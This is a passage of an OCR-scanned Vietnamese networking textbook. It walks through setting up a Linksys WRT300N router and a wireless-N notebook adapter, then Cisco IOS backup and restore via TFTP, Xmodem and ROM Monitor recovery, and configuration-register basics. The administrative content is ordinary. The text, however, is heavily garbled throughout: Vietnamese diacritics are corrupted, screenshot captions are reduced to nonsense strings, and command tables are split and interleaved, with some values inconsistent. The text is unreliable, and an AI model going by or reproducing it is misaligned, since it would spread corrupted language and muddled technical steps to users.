Baier numbered 110 4.

Port 1, 2,
3 or4d

H Broadband Rowler SewpWizard Model Mo, WRT300N
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Hinh 12-9

LINKSYS

A Division of Cisco Systems, Inc

L 8

Qutlet @
| [ :.
Wall Jack £p.”
o
Modem L i Plug the power adapter into the
o Router's power porl. Plug the
other end inte an electrical
outlct

“ Broadband Rouler SotupW zard Modal Mo, WRT300MN

- Ldc nay, s& c6 mét wizard hoi ban dé kiém tra trang thai cla router bang cach kiém tra
dung mau cla cac dén LEDs. Khi d6, néu ban can khdi dong lai, hodac néu ban can xem lai
nhitng budc ma ban d& lam, ban cé thé click Review instructions tir man hinh giéng nhu
hinh 12-10 dé khd&i ddng lai cac budc cai dat. Néu khdng, ban c6 thé nhdn chon Next dé
tiép tuc. Setup Wizard s& kiém tra cai dat mdy tinh cda ban, vi vdy ban s& nhin thdy céc

tham s0 thdi gian xudt hién & phia trén wizard, nhu hinh 12-11.
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Hinh 12-10

LINKSYS

A Division of Gisco Systems, Inc

On the Router's front panel. the Power.
Internet and at least one of the
numbered (1, 2, 3, or 4) LEDS should be
hit. If nol, make sure your computer,
modam and rouler are powered on, and
all cables are securely connected. I
you would like to review the setup
instructions again, click the Review
Instructions button to start over.

H Bwadband Router 5 Madel Ho. WIRT 300N

Hinh 12-11

LINKSYS

A Dhvigion of Cieco Syatems, Inc.

Un the Ho (
Intamat and

numbered ( V l
It If not, ma

madem and

all rahlea are saruraly canneactad IF Vi
you would like to review the setup "'ﬂ-,__._,
inatructions again. click the Review -
Inatructions button to start over.

" Broadband Rouler SelupWizard Medal No WRT300M

- Tiép theo, ban can cai dat thém cac tham s6 khac cla router dé két ndi dén cac thiét bi
khac. Tham s& dau tién la DHCP. Trong hinh 12-12 hién thi mét s& tuy chon dé€ ban cé thé
lva chon. Néu ban khéng chéc chdn vé nhitng Iuva chon nay, ban cé thé khéng chon muc

95



nao ca. Vi du nay coi nhu ban da cdm router vao mot modem théng qua cap, vi vay ban cé
thé s dung tly chon méc dinh, Cable (DHCP).
Hinh 12-12

LINKSYS'

A Division of Cisce Systems, e,

If you are unsure of these sellings, do nol make any changes Changes
to the sellings below may distupl the operation ol your axisting notwork

H Broadband Routar SemupW izard Model No. WRT 300N

- Budc tiép theo ban can phai cai ddt mot méat kh&u cho viéc quan tri. Ban can phai xbéa mét
kh&u mac dinh. N&u ban mudn cé mdt méat khdu dudgc luu trén may tinh, thi ban can chon
Remember my password on this computer, ban cé thé nhin thdy & hinh 15-13. Sau khi
ban ciu hinh va xac nhan méat khau, thi nhdn chon Next. Router sé& tién hanh kiém tra cai
dat va sau doé chuyén tié€p sang man hinh cdu hinh tiép theo.

- Hinh 12-14 s& hién thi cac budc bat dau cdu hinh wireless trén router. O ddy ban sé& dudc
hoi tén cla mang wireless va kénh nao ma ban sé st dung. Tén nay chinh la SSID cua ban,
va tén dé sé& phai dugc sir dung bdi cac thiét bi mubn két néi dén AP. D& chic chén réng cé
it nhat cac budc tham chiéu dén qua trinh cai dat wireless, gidi han su luya chon cla ban
trong cac kénh la 1, 6 hoac kénh 11, bgi vi nhithg kénh nay sé dam bao khéng bi lap chong

vGi cac kénh khac.
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Hinh 12-13

LINKSYS'

A Division of Clsco Systems, e,

The adminisirative pacsword protects your router from undesired
access and modications to s sethngs. For secunty reasons. you
should change your password from its defaull setting

The default password for the router 1s admin. Create
asswond | a new password and enter it in the Password field.
He-enter the password in the Confirm field.

m:l Mote - You will need this password to access the

Router's web-based utility.

[ Remember my password on this computer

H Broadband Rouler SeupW izard Modsl Mo, WRT 300N

Hinh 12-14

LINKSYS'

A Division of Cisco Systems, Inc.

Changes 1o the default setings below may disrupt the operation of your
existing wirgless network. Make sure you write down these settings as they
will be needed when sefting up your wireless devices.

The Wireless Nelwork Mame (S51D) = shared among all devices
within your wireless netwerk and must be the same for all devices.
The Wireless Nelwork Mame is case sensilive and should not
exceed 32 chamcters.

Wide Channel i The Wide Charnal is ehared among all compuiers within your
wireless network using 40 Mhz Madio Dand that is commonly used
in wirelgazs-N. You wireless devices will sutomatically detect the

channel you set here. I you experience poor pefonmance on a
cerain channel, try changing to ancther channel .

Winstess Nelwork Mame [Segel=t]

The Router aleo has Standed Charnsl or Channels {on older
aeas puind v iuule § ol cec used o 20 MiT: Robo Dol Dy
default, the router uses auto for Standed Channel. Thia is typically
used in the Wirdless-B and Wireless-5 wireless network

“ Broadband Router SewpWizard Modsl Mo WRT300M
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- Trong phan ti€p theo clia qua trinh cai dat wireless la viéc chon cac tham sé cdu hinh bao
mat. Phan nay 1& mdt tuy chon. Hinh 12-15 hién thi phudng phdp bao mat PSK2 Personal
s& 1a phudng phap dudc Iuva chon. PSK2 la mét chudn clia Pre-Shared Key 2. N&u ban chon
PSK2 Personal, ban sé& phai nhap vao mot shared key cé d6 dai la tur 8 dén 63 ky tu. Trong
vi du hinh 12-15, thi shared key sé bao gom ky tu, s6, va cac ky tu dac biét.

Hinh 12-15

LINKSYS'

A Division of Clsco Systems, nc,

9 You may choose between four encryplion methods: FS5K2 Personal The
securily settings must be the same on all devices on your nelwork, or they

will not to be able to communicate.
Securnty

| TPk Ferona j| Please choose PSK2 Perzonal or Disable.

I |g-l-u-L 5351 Enter the Shared Key used by your netwers. The Sharmed key can
: use any keyboard character and be between 8 and 63 chaacters

in length

H Broadband Router SelupW izard Madsl No. WRT300N

- Sau khi ban két thic phan nhap vao cac tham sé cau hinh wireless, ban sé nhin thdy mot
man hinh hién thi yéu cdu xac nhén, giéng nhu hinh 12-16. Néu ban mudn, ban cé thé luu
nhirng tham s& cai dat dudi dang mét file text bdng cach nhdn chon Save Settings. Sau
khi ban luu mot ban sao cla cac tham sd ciu hinh, ban nh&n chon Yes dé tiép tuc.

- P4y |a phan Setup Wizard cudi cing. Ban s& biéu dién lai vdi man hinh tudng tu nhu hinh
12-17, tir dé ban s& cb thé cai dat Norton Internet Security trén mdy tinh cta ban néu
mudn. Néu ban chon khdng cai dit & budc nay, thi ban nh&n chon Finish dé thoat khai
wizard; ban s€& nhin thdy man hinh Configurations tuong tu nhu hinh 12-18
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Hinh 12-16

LINKSYS'

A Diivision of Clsco Systems, b,

You should save andfor pnnt these sethngs and keep them in sate place.
You will need these sellings 1o conigure other wireless devices on your
network.

conalah

PEFZ Paransl

grolrkEG!

N Broadband Router Model No. WRT300M

Hinh 12-17

| NKeYS®

A Division of Cisco Systems, Inc.

The Naron Internat Sacurity{ TM) from Symantec(TM) is the award
winning suite which protects yvour PCs and vour family from the perils
of the Intermet

, Sy nantec. - Nurlon AnliVinus{ TM) prolecls cmail and imslanl messages .
- Morton{TM) personzal Firewall protects against hackers and
Horlon intrusions.
Internet Security Parental Control shields children from objectionable websites.
Hlocks spam. banner ads. popup windows. and more
Special Fdilion A special edition of the Noron [ntemel Securily with 2 60-day free
Includes G0-day free trial of virus and friewall upfates is included on this Setup CD
rial of virus firowall Click bolow to install it
updates

(»

Sate Surfing Setupwizard

Back |  Finish

Copynght 2006 Clece Syetome, Inc. All nghte reearvad.




Hinh 12-18

LINKSYS®

A Division of Cisco Systems, Inc.

I he Wireless-N Broadband Router has been
successhully configured!

24 GHz

H Broadband Router SeupW izard Modzl Mo WRT300MN

- Sau khi ban hoan thanh Setup Wizard, ban cé thé sl dung trinh duyét Internet két ndi
dén AP dé& quan ly thiét bi. Theo méac dinh thi dia chi cua AP Ia 192.168.1.1. Nhap dia chi
nay vao thanh address cua trinh duyét, va ban s& nhin thdy mét hop thoai nhac ban nhap
username va password, giéng nhu hinh 12-19. Hinh 12-20 Ia man hinh chinh cia giao dién
quan ly thiét bi.

- Hinh 12-21 hién thi menu bar trén trinh tién ich quan ly théng qua giao dién web. Chon
muc chinh - Setup, Wireless, Security, Access Restrictions, Application & Gaming,
Administration, Status s& gilp ban truy cdp vao cdc menu con nham tang thém tinh ndng
quan tri. Hinh 12-21, 1a nat nh&n chinh, Setup, s& dugc chon va tiép tuc cé 4 man hinh hién
thi d€ ban cé thé& chon tiép: Basic Setup, DDNS, MAC address Clone, hodc Advanced
Routing.
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Hinh 12-19

kg blnu,'-:u AR [

Hinh 12-20
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Hinh 12-21

Fiamass Vesshon: «0.53.8

Wireless-N Broadband Router  wit3oon

Applcations &

5 Adminis trathon Stafus
Gaming

Setup Wirelegs Serunity

Basic: Satup | DONS WaG i Advinced Ruling

2. Cau hinh Wireless Client

* Chu y: Wireless Client card dugc s dung trong chudng nay la Linksys Wireless-N
Notebook Adapter. Néu ban dang s dung mot card mang khac, thi nhitng hinh vi du sé
khac.

- Hé diéu hanh dudc sr dung trong chudng nay la Windows XP Professional, véi service
Pack 2 da dugc cai dat.

- Hinh 12-22 hién thi man hinh khdi tao dau tién cua trinh Setup Wizard, trinh Setup wizard
sé dugc chay tu dong khi ban s dung dia CD cai dat dugc cung cdp bdi client card. Chay

trinh Setup Wizard trén may tinh trudc khi ban cdm client card vao may tinh cua ban.

Hinh 12-22

LINKSYS®

A Divigion of Ciooo Systome, Ine.

Wetcome o the Setup Wizard for your wirsless
adapler.

Please don't connect the Adapter bo your
computer until instructed to do se.

Click Here to Start

24SHz Wireless-

] Usar Guide l Exit bi5c0 EYSTEMS

Mkl Ny WPL‘IEMH Copyrignt © 2006 CIena Spstem, Inc &8 riphis reseresd J ’

- Hinh 12-23 hién thi license dudc chdp nhan cho thiét bi. Sau khi ban doc nhitng yéu cau
nay, ban s& c6 hai tuy chon: mét 1a nhdn Next dé ti€p tuc, hai 1a nhdn Cancel dé thoat
khoi chugng trinh cai dat.
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Hinh 12-23

LINKSYS

X Diviion ! Cinta Tytteme, i

o Please read the foliowing Beense agreement carefully,

Priss the PAGE DOWHN key or use the Scrodl Bar to sea the rest of the soreement.

iTH]S LICENSE AGREEMENT IS BETWEEN YOU AND CISCO-LINKSYS, LLC QR THE
CISCO-LIMKEYS, LLC SUBSIDIARY LICEMEIMG THIS SOFTWARE, IF SALE IS MOT
DIRECLTY EY CISCC-LIMKSYS, LLC {"Lirksys™). BY DOWHKLOADING OR TNSTALLING
THE SOFTWARE, OR LUSTNG THE PRODUCT CONTAINING THE SOFTWARE, YOU ARE
CORNSENTING TO B2 BOUND EY THIS AGRESMENT, [F YOU DO NOT AGREE TO ALL OF
THESE TERMS, THEM YOU MAY NOT DCWMLOAD, INSTALL OR UISE THE SOFTWARE,
TOU MAY RETLRM LMUSED SOFTWARE (OR, IF THE SOFTWARE IS SUPFLIED AS

>

W

MART AC RS IFR AR W T I LD T OO BT AT L P ReT R R T

¥ you accept the terms of this Agreement, click Next to continue. If not, choose Caneel and the Setup
Wizand will cloze. You must click Next 1o continue the installation process.

N Motehook Adapter Setup Wizard v1.05 weretne. WPGIOON

- Trinh Setup wizard sau d6 s& cai dat mot s6 file vao mdy tinh cla ban. M6t clra s s& dudc
xuét hién vao thédng bdo rdng phan mém nay khéng dugc chdp nhan bdi Windows Logo
Testing, nhu hién thi trong hinh 12-24. Ban nh&n chon Click Anyway dé tiép tuc cai dat.

Hinh 12-24

L '2 The software you are etaling has nol passed Windows Logo
2 teeting to venly te compatibiity wih Windows XP. [Tal me why
thia besting is mpotant.}

Continuing your installation of this software may impair
or destahilize the comect operation of your system
aither immadiataly or in the future. Microeoft strongly
recommends that you stop this installalion now and
corlact the software vendor for softwares that has
passed Windows Logo testing.

[ Cortirue Aryway | l STOFP Instalation ]

- Hinh 12-25 s& hién thi man hinh ké tiép cua trinh Setup Wizard, trong dé ban s& dugc hoi
rang c6 mudn gan adapter vao trong ca hai loai Slot la PCMCIA hodc CardBus hay khdng

trén may tinh ctia ban. Gan card vao, va sau dé nhan chon Next.
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Hinh 12-25

LINKSYS'

i Dibihis, e (i Syetme, Ic

Connecting the Adapter

Inseri the Adapter into the PCMGLA or
CardBus slot of your PG,

:25-N Notebook Adapter Setup Wizard w105 naee. WPGI00N

- M&t clra s& Pop-up mang ndi dung: “Found New Hardware Wizard” s& xuét hién, nhu hinh
12-26. Chon Yes, this time only cho cau hoéi “Can windows connect to windows update to

search for software”. Sau d6 nh&n chon Next dé tiép tuc.

Hinh 12-26

Found Mew Hardware Wizard

Welcome o the Found New
Hardware Wizard
Windows wil search for cumeni and updaied softears by

bking on panr eoenpi e, an the harwane nstaliation 0 or an
the Wrcows Update VWeb ste dwith your permssion)

Beed ourprvacy polcy
Can Windows connect to Windows Update to scerch for
software?

&) Yea, this time enly
{7 Yaz, now and avery time | correct & davics
{2 Mo, not thia tims

Cick Ned lo continus

Maed = ]l Canesl ]
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- Hinh 12-27 la man hinh th& 2 cla qua trinh Found New Hardware Wizard. Bg&i vi ban
mudn cai dat phan mém moét cach ty déng cho adapter nay, nén ban duy nhat cé thé lam la
nhan chon Next, bdi vi tly chon nay da thuc su la lua chon tét nhat cho wizard nay.

Hinh 12-27

Found Mew Hardware Wizard

This wazard helps you instal softwas for

Linksys Wirekess-N Notebook Adaptar WRC 2N

;'} i your hardware came with an installation CD
"L or floppy disk, insert it now.

¥hat do you want the wizard to do?

Pt ¢ = )
(&) Install the software actoratically (Fecommerded)

73 Instzll fram a list or specfic Incation (Advanced)

Cick Next 1o confinue

[ T Bacik ]l Hw . | [ L'_a.ncval ]

- M6t clra s& mdi c6 thé& xuét hién va théng bdo rdng phan mém nay khéng dudc chdp nhan
bdi Windows Logo Testing, nhu hién thj trong hinh 12-24 trudc. Click Continue Anyway dé
ti€p tuc cai dat. Sau khi nhitng file nay da dugc sao chép thanh cong vao trong may tinh
cla ban, va nhiing driver nay da thuc su dugc cai dat, man hinh cubi cung cia qua trinh
Found New Hardware Wizard s& dudc xudt hién, hién thi trong hinh 12-28. Nh&n chon
Finish d€ thoat khoi trinh wizard.

Hinh 12-28

Found New Hardware Wizard

Completing the Found New
Hardware Wizard
Tha wizard has finshad inztaling the software for

mmi Linkays Wirslzas-N Motebaak Acapter WRCIDOIN

Qick Finizn to cloza the wizard
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- Man hinh tiép theo s& hién thi Ia man hinh Creating a Profile, tudng tu nhu hinh 12-
29. O day, ban sé& nhin thdy t&t ca nhitng mang ma ban cé kha ndng dé két ndi. Néu
ban khéng nhin thdy mang cGa ban trong danh sach nay, thi ban cé thé nh&n chon
Refresh. Mang cé tén la lander78 trong hinh ma ban nhin thdy la mang cla hang

xém. Canh bdo tinh nang bdo mat da bi tat.
Hinh 12-29

LINKSYS'

A Dvisaon ol Giso Salers, lic

Creating a Profile

Please select the wireless natwork that you want to connect o, then click the Gonmect button 1o
continue. If you ara not sure which natwork to choose, Birst iry the one with the strongest signal.

Wireless Netwerk Naine CH  Signal Securily

—
A 1003 Cizahlzd
Connect
&
| Bt | Advanced Setup

H Motzbeok Adapter Wiraless Natwork Monitor v1.05  weea WIPCI00N

- B@i vi ban cai dat tinh ndng bao mat trén AP & trong chuong trudc, nén bay gid ban sé
nhin thdy mot pop-up canh bdo dudc hién thi nhu trong hinh 12-30. P& két nSi dén mang
nay, ban sé phai nhdp vao cac tham s6 bao mat giéng nhu nhitng tham sé da dugc cdu
hinh trén AP & trong chudng trudc. Hinh 12-31 s& hién thi hinh ma ban sé& phai nhép pre-

shared key: grbink99!!. Sau d6 ban nhan vao Connect dé tiép tuc.
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Hinh 12-30

LiINKSYS'

& Dz 0| Gieo Byalors, e

Creating a
contive Wl puors YOU SEIECIE0 3 SEOUTCH WIGIESS ooy sionar
7 network. You need your wireless
network’s security settings to
I conalab Conunue the setup. Flease reter 1o Agh
s lsrcer /3 your wireless router/access
point/gateway’s documentation.
el

| cancet | continus

| Bt | Rdvanced Sehup

1< Notehook Adapter Wireless Network Monitor v1,.05  wew WPC30ON

Hinh 12-31

LINKSYS'

A Diminiin of Gimte Syitionn, e

WPA2-Personal Needed for Connection

This wirsless nebwork has P32 enabled. To connect 1o this network, ender the requinsd Pre-Shaned Ky
In the approprizte field below. Then click the Cennect button.

m J Please sebect the wineless security mathod used by your
xisling wirehkess nebwork

m okl | Please entar a Pre-sharod Key that is 8 to 53 charactors
2 in length.

- Sau khi két nGi dén mang cua ban, ban sé& nhin thdy man hinh két thac cda trinh wizard
nay, dé Ia man hinh Configurations, dudc hién thi nhu trong hinh 12-32. Nh&n chon Finish

dé két thac trinh wizard nay.
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Hinh 12-32

LINKSYS'

B Divigion of Cisco Systems, Inc.

Vour profile has been succssaiully confiqured!

%=N Notebook Adapter Wirgless Network Montor w108 wesaw. WPCI00ON

- Trong hinh 12-33 s& hién thi tinh trang két ndi dén“mang |a rat tét, ban cb thé can c vao
tin hiéu va chat lugng cla lién két. Tin hiéu cang nhiéu thi két ndi gitra Client va AP sé cang

tot.
Hinh 12-33

LINKSYS'

& Dwvaion o! Ceco Sytons, e

Link Information

You have successfully connected to the access point

o SR s J I

N Notebook Adapter Wireless Network Monitor w105 weew. WPCI0ON

- T man hinh hién thi trong hinh 12-33, ban cé thé chon d& quyét dinh di dén hai man
hinh khac:
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+ Connect: Hién thi mot danh sach nhitng mang cé kha ndng dé€ két néi (hinh 12-

34).
+ Profile: Hién thi nhitng thudc tinh da dugc tao trong chuang trudc (hinh 12-35).
Hinh 12-34
: %)
LINKSYS
A Dévision 0f ClstD Sysioms. led
Connect

Bebow is & list ol availabls wirsless networks, To search Tor more wireless networks, click

the Retresh button. To view more infoamation about & network, select the wireless nefwork

narme, To sonnact 1o that nebwers, click the Conneet button below.

| Wireloss Network Namo CH  Sigaal ( itz Information '

| Wireloss Wooe Infastuchre

| g lznder sH 5 U4 Metwork Type '#rolce N

Radin Band 47 H>
Security k2
| MAC Address 00 15F8-E00226
Refresh Connect
Adapter is Active
N Notebook Adapter Wireless Netwark Monitor v1.08  wesaw. WPCI00N

Hinh 12-35

LINKSYS' o

& Dovison 0f Gisto Sysiens. i

Profiles

T cennect 1o a network, select the profile name then click the Connect button. To creals
or edit a profile, use the menu bar &t the botiom of the scresn.

Wiroloss Mode e

Wids Channal &40
Standard Chanmel 5 ro

Security (14
| Authenll_mtlnn Ak

Connoet

| mew | Edt | import | Bxport | Detets |  Adapter ks Aclive

3-N Notebook Adapter Wireless Network Monitor w108 wess . WPCIDON

- Hinh 12-36 s& hién thj trang thai két ndi cia mang wireless ctiia ban. Trong trudng hgp
nay, ké&t ndi dé 1a Connection 2 bdi vi mét wireless adapter d& dugc gén san trén laptop nay
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la Connection 1. Chu y rang véi ban du thao cdng nghé 802.11n, thi két ndi dd cb thé thu
dugc toc d6 la 216 Mbps.

Hinh 12-36

% Wireless Network Connection 2 Status

Ganargd |_é1“;.|;..;._1i
Cormrection
Sratua: Connectsd
Netwark conalzh
Curation: Do:01:32
Somed: 2160 Mbpa
Signal Strength: HIH!
BActivty
]
Sent w— ?_‘ —  Hecelved
T g0
Packats: 1| 208
[ Propetizs J[ Disable | [ Yiew Wireless Nelworks ]

110



Phan VI: QUAN LY MANG VA XU LY SU €O

Chuong 13: Sao luu du phong va khéi phuc Cisco I0S va file cau hinh

Chudng 14: Cac budc khdi phuc mét khdu va Configuration Register

Chuong 15: Giao thic CDP

Chuong 16: Telnet va SSH

Chuong 17: Cac cau Iénh ping va traceroute

Chuong 18: SNMP va Syslog

Chuong 19: Cg ban vé x(r ly su c6

Chuodng 13: Sao luu du phong va khoi phuc Cisco IOS va file cau hinh

Chuadng nay sé cung cap nhitng théng tin va cac cau lénh cé lién quan dén nhitng chu dé

sau:
- Cac cau lénh Boot System
- Cisco IOS File System

- Sao luu cac file cau hinh vao TFTP Server

- Khoi phuc cac file cau hinh tir mét TFTP Server

- Sao luu phan mém Cisco I0S vao moét TFTP server

- Khoi phuc phdan mém Cisco I0S tir ché d6 ROM Monitor stif dung Xmodem

- Khoi phuc phan mém Cisco 10S st dung cac bién trong moi truGng ROM Monitor va cau

[énh tftpdnld.

1. Cac cau lénh Boot System

Router(config)#boot system flash

imagename

Khdi dong vdi phdn mém Cisco I0S bang

mot image-name tUr Flash

Router(config)#boot system tftp
image-name
172.16.10.3

Khai ddng vdi phdn mém Cisco 10S bang

mot image-name tir mét TFTP server

Router(config)#boot system rom

Khai déng v@i phan mém Cisco I0S tu
ROM.

Router(config) #exit

Thodt khoi

Configuration.

ch& d6 cdu hinh Global

Router#copy running-config startup-
config

Luu file cau hinh dang chay trén RAM vao
NVRAM.
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2. Cisco IOS File System

* Cha y: Cisco I0S File System (IFS) cung cdp mot giao dién don giadn dé tat ca cac file hé
théng cé kha nang thuc thi trén mot thiét bi dinh tuyén, bao goém: file hé théng clia bé nhd
Flash; nework file system nhu TFTP, hoac Remote Copy Protocol (RCP), va File Transfer
Protocol (FTP); va céc file khac cé thé doc va ghi dit liéu trén d6, nhu NVRAM hodc running
configuration.

- Cisco IFS t6i uu nhitng yéu cau can thié€t cho mot sé cdu Iénh. Thay vi phai nhdp vao cau
Iénh copy & ché& d6 EXEC va sau dé hé thdng s& nhdc ban phai nhdp nhiéu cic tham s&

khac, ban can nhap vao mét cau Iénh don gian trén mot dong vdi nhitng théng tin can thiét.

Cac cau lénh cua Cisco I0S Software | Cac cau lénh cua IFS

copy tftp running-config copy tftp: system:running-config

copy tftp startup-config copy tftp: nvram:startup-config

show startup-config more nvram:startup-config

erase startup-config erase nvram:

copy running-config startupconfig copy system:running-config

nvram:startup-config

copy running-config tftp copy system:running-config tftp:

show running-config more system:running-config

3. Sao luu cac file cdu hinh vao TFTP Server

Denver#copy running-config startup-

config

Luu file cau hinh dang chay trén DRAM
vao NVRAM

Denver#copy running-config tftp

Sao luu file cdu hinh dang chay trén
DRAM ra mot TFTP server

Address or name of remote host[ ]?
192.168.119.20

Nhép dia chi ip cua TFTP server

Destination Filename [Denver-confg]?

Tén s& dugc s dung dé Iuu trén TFTP

server

M6i mét dau cham ! tudng dudng véi 1
goi tin dugc truyén.

624 bytes copied in 7.05 secs

Denver#

File cau hinh da dugc truyén thanh cong

ra TFTP server.

. Khéi phuc céc file cdu hinh t&r mét TFTP Ser

Ver

Denver#copy tftp running-config

Sao luu file cau hinh t TFTP server dén
DRAM va dbng thdi thuc thi.

Address or name of remote host[ ]?
192.168.119.20

Nhap dia chi IP cta TFTP server
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Source filename [ ]?Denver-confg

Nhap tén caa file ma ban mudn sao luu.

Destination filename [running-config]?

Accessing
tftp://192.168.119.20/Denverconfg...

Loading Denver-confg from
192.168.119.02
(via Fast Ethernet 0/0):

[OK-624 bytes]

624 bytes copied in 9.45 secs

Denver#

File da truyén thanh cong.

. Sao luu phan mém Cisco I0S vao mot TFTP

server

Denver#copy flash tftp

Source filename [ ]? ¢2600-js-1_121-
3.bin

Nhép tén ctia phan mém Cisco IOS.

Address or name of remote host [ ]?
192.168.119.20

Nhap dia chi IP ca TFTP server.

Destination filename [c2600-js-1_121-
3.bin]?

Nhap tén cua file ma ban luu ra TFTP

server.

8906589 bytes copied in 263.68 seconds

Denver#

. Phuc h6i hoac nang cap phan mém Cisco I0S tir mét TFTP Server

Denver#copy tftp flash

Address or name of remote host [ ]?
192.168.119.20

Source filename [ ]1? c2600-js-1_121-
3.bin

Destination filename [c2600-js-1_121-
3.bin]?

Accessing tftp://192.168.119.20/c2600-
isl_
121-3.bin

Erase flash: before copying? [confirm]

Néu bd nhd flash bi day, thi sé can phai
xba trudc khi thuc hién viéc copy.

Erasing the flash file system will remove
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all files

Continue? [confirm] Nhan Ctrl- C néu ban mud6n hay qua trinh

nay.
Erasing device Moi ky tu e tuong dudng vdéi mot goi dir
eeeeeeceeeeeceeeeeee...erased liéu bi x0da.

Loading ¢2600-js-1_121-3.bin from
192.168.119.20
(via) FastEthernet 0/0):

Mbi mot dau ! tuong duong vdi mot goi

TELRRRRRRRR R e et d[]’héu du‘Q’c sao luu.

Verifying Check sum ................. OK
[OK - 8906589 Bytes]
8906589 bytes copied in 277.45 secs

Denver# Thanh cong.

7. Khoi phuc phan mém Cisco IOS tur ché do6 ROM Monitor s&r dung Xmodem
- Nhitng budc lam dudi day sé phu hgp véi dong Cisco Router 1720. MOt s6 tuy chon sé
khac néu ban dang lam trén cac dong Cisco Router khac, phu thudc vao tirng loai san

pham.

rommon 1 >confreg

Hién thi cdu hinh mét cadch tdng quat.
Ban sé lam tirng budc théng qua nhiing
cau hoi, va ban sé trd I8i mac dinh cho
dén khi ban cé thé thay d6i gid tri
console baud rate. Ban sé Ilua chon thay
ddi thanh gia tri 115200; V3i gia tri nay
thi qua trinh truyén dir liéu sé nhanh
han.

Configuration Summary

enabled are:

load rom after netboot fails

console baud: 9600

boot: image specified by the boot system
commands

or default to: cisco2-c1700

do you wish to change the configuration?
y/n[n]:y

enable “diagnostic mode”? y/n [n]: n
enable “use net in IP bcast address”?

y/n[n]: n

D&u nh&c bat ddu hdi mot chudi céc cdu
héi cho phép ban lua chon dé& thay ddi
gid tri configuration register. Cau tra Idi
la n cho tat ca nhitng cdu hai trlr mot cau

héi yéu cau ban c6 mudn thay ddi gia tri
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disable “load rom after netboot
fails"? y/n [n]: n

enable “use all zero broadcast”? y/n
[n]: n

enable “break/abort has effect”? y/n
[n]: n

enable “ignore system config info”?
y/n[n]: n

change console baud rate? y/n [n]: y
enter rate: 0=9600, 1=4800, 2=1200,
3=2400

4=19200, 5=38400, 6=57600,
7=115200 [0]: 7

change the boot characteristics? y/n

[n]: n

console baud rate. Khi do, ban sé& nhap
gia tri 1a 7 d& luva chon tdc dd truyén la
115200.

Configuration Summary

enabled are:

load rom after netboot fails

console baud: 115200

boot: image specified by the boot system
commands

or default to: cisco2-c1700

do you wish to change the configuration?
y/n[n]: n

rommon2>

Sau khi man hinh cu hinh téng quat
dudc hién thi lai mdt 1an nita, ban cé thé
chon n d&€ khéng thay ddi cdu hinh va

ti€p tuc véi ddu nhéc la: rommon>.

rommon 2>reset

Thuc hién khagi dong lai router véi téc do
cdéng com mdi. Thay ddi gid tri cdu hinh
clia HyperTerminal la 115200 dé tuadng
(ng V@i giad tri da thay d6i trén console

cla router.

Rommon 1>xmodem c1700-js-I_121-
3.bin

Nhap vao cdu lénh dé€ cho phép truyén

image sir dung Xmodem.

...<output cut>...

Do you wish to continue? y/n [n ]:y

Ban chon Y dé tiép tuc

Trén HyperTerminal, ban vao muc
sau dé nhédn vao Send File
(nhin hinh 13-1). Xac dinh vi tri cia phan
mém Cisco IOS trén may tinh cla ban va

nhan chon Send (nhin hinh 13-2).

Transfer,

Router will reload when transfer is
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completed.

Reset baud rate on router.

Router(config)#line con 0

Router(config-line)#speed 9600

Router(config-line) #exit

8-N-1.

Hyperterminal sé dirng lai.
két ndi lai v@i router sir dung 9600 baud,

Ban can phai

Hinh 13-1

L] "
CRpeuie TEst... regquest

S Teodz e,

Download al
rommon 3 |

Sy=ztom Buul S

_._.......,.,..._..._.n 12.0{3)T, RELEASE SOFTHARE (fcl)
Copuright {c] 1999 by
PC = Qufffib

ehll, H'uc‘h:r = Exﬁﬁﬁ §P = @xffo2Tbe
L1788 platform with 32768 Khytes of main memory

PC = BufffBbesd, Vector = BubOB, 5P - Bx8B0RLEGC

nonitor: command “boot” aborted due to user interrupt
rommon 1 > confreg

Configuration Summary
enabled are:
load ron after netboot fails
console baud: 9600
|boot: inage specified by the bool svsten commands
or default to: cizco2-C1700
Inl:

do wvou wish to change the configuration? w/n n

rommon 2 > wmoden c17H0-y-nz, 120-1. HH3
Do not 5tart the sundlng prum‘an '_Jet

hecksu
2&&2&92 hutes EBH?EMFCF ﬁxcf?ﬂ
2LLZ2692 bytes (Bx2044Tc)  Dwcf99 clidg-y-mz . 120-1.

WARKING: R11 ewisting data in bootflash will be lost!
Invoke thiz application only Tor disaster recovery.
Do wou wish to continue? w/n [nl:

cl?ﬂﬂ v—nz 120-1. HFIEI {deleted)

Gl

e rads a Ple bo the evole spstem

B =saichAnssts ZR 1 - e, . I;.“'-:.Ii-.-.'a = iy 1004 FH
Hinh 13-2
M Send File

Foide: CADoouments and Seitngs!Dad

Filararre:

cohioshe 1 T 004wz 1207, 53 ]

Fistacal

Zmodam wity Crash Hacosery e
[ send ][ coee |[ cares |

8. Khoi phuc phan mém Cisco I0S st dung cac bién trong moéi trudng ROM Monitor va cau

Iénh tftpdnld

rommon 1>IP_ADDRESS=192.168.100.1

Gan dia chi IP cho router

rommon 2>IP_SUBNET_MASK=255.255.255.0

Gan subnet mask cho

router

116



rommon 3>DEFAULT_GATEWAY=192.168.100.1 Gan dia chi default

gateway cho router

rommon 4>TFTP_SERVER=192.168.100.2 Chi ra dia chi IP cho TFTP
server.
rommon 5>TFTP_FILE= c2600-js-I_121-3.bin Chi ra tén file ma ban

mudn copy tur TFTP server.

rommon 6>tftpdnid Khdi tao tién trinh copy.

...<output cut>...

Do you wish to continue? y/n: [n]:y

...<output cut>...

Rommon 7>i Khdi dong lai router.

Chuong 14: Cac budc khéi phuc mat khau va Configuration Register

Chuong nay sé cung cap nhitng thong tin va cac cau Iénh co lién quan dén nhitng chu dé
sau:
- Configuration Register

+ Visual Representation

+ Gia tri cla cac bit

+ Boot Field

+ Cau hinh Console terminal baud rate

+ Thay d&i console line speed: CLI

+ Thay d&i console line speed: ch& d& ROM Monitor
- Céc thu tuc thuc hién Khdi phuc mét kh&u cho Cisco Router
- Céc thu tuc thuc hién khéi phuc méat kh&u cho switch 2960

I. Configuration Register

router#show version Khi ban sir dung cau lIénh show version
thi dong cudi cung clda phén hién thj sé&
théng bdo cho ban biét gid tri cla

Configuration register.

router#configure terminal Chuyén cdu hinh vao ché& dd global

configuration.

router(config)#config-register 0x2142 | Thay d6i gid tri cua Configuration
Register thanh 2142
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1. Visual Representation

- Gia tri Configuration Register la 16 bit dugc Iuu trir trong NVRAM. Nhiing bit nay la cac s6
dugc tinh tir 15 cho dén 0 va ludng bit dudc tinh tir trai sang phai. Nhirng bit nay sé dudc
chia thanh hai nhém, va moéi nhdm sé dudc biéu dién bdi ca sb 16.

1514 131211109876543210 Bit places
0010000101a000010 0 Register bits
2142 Bits represented in hex

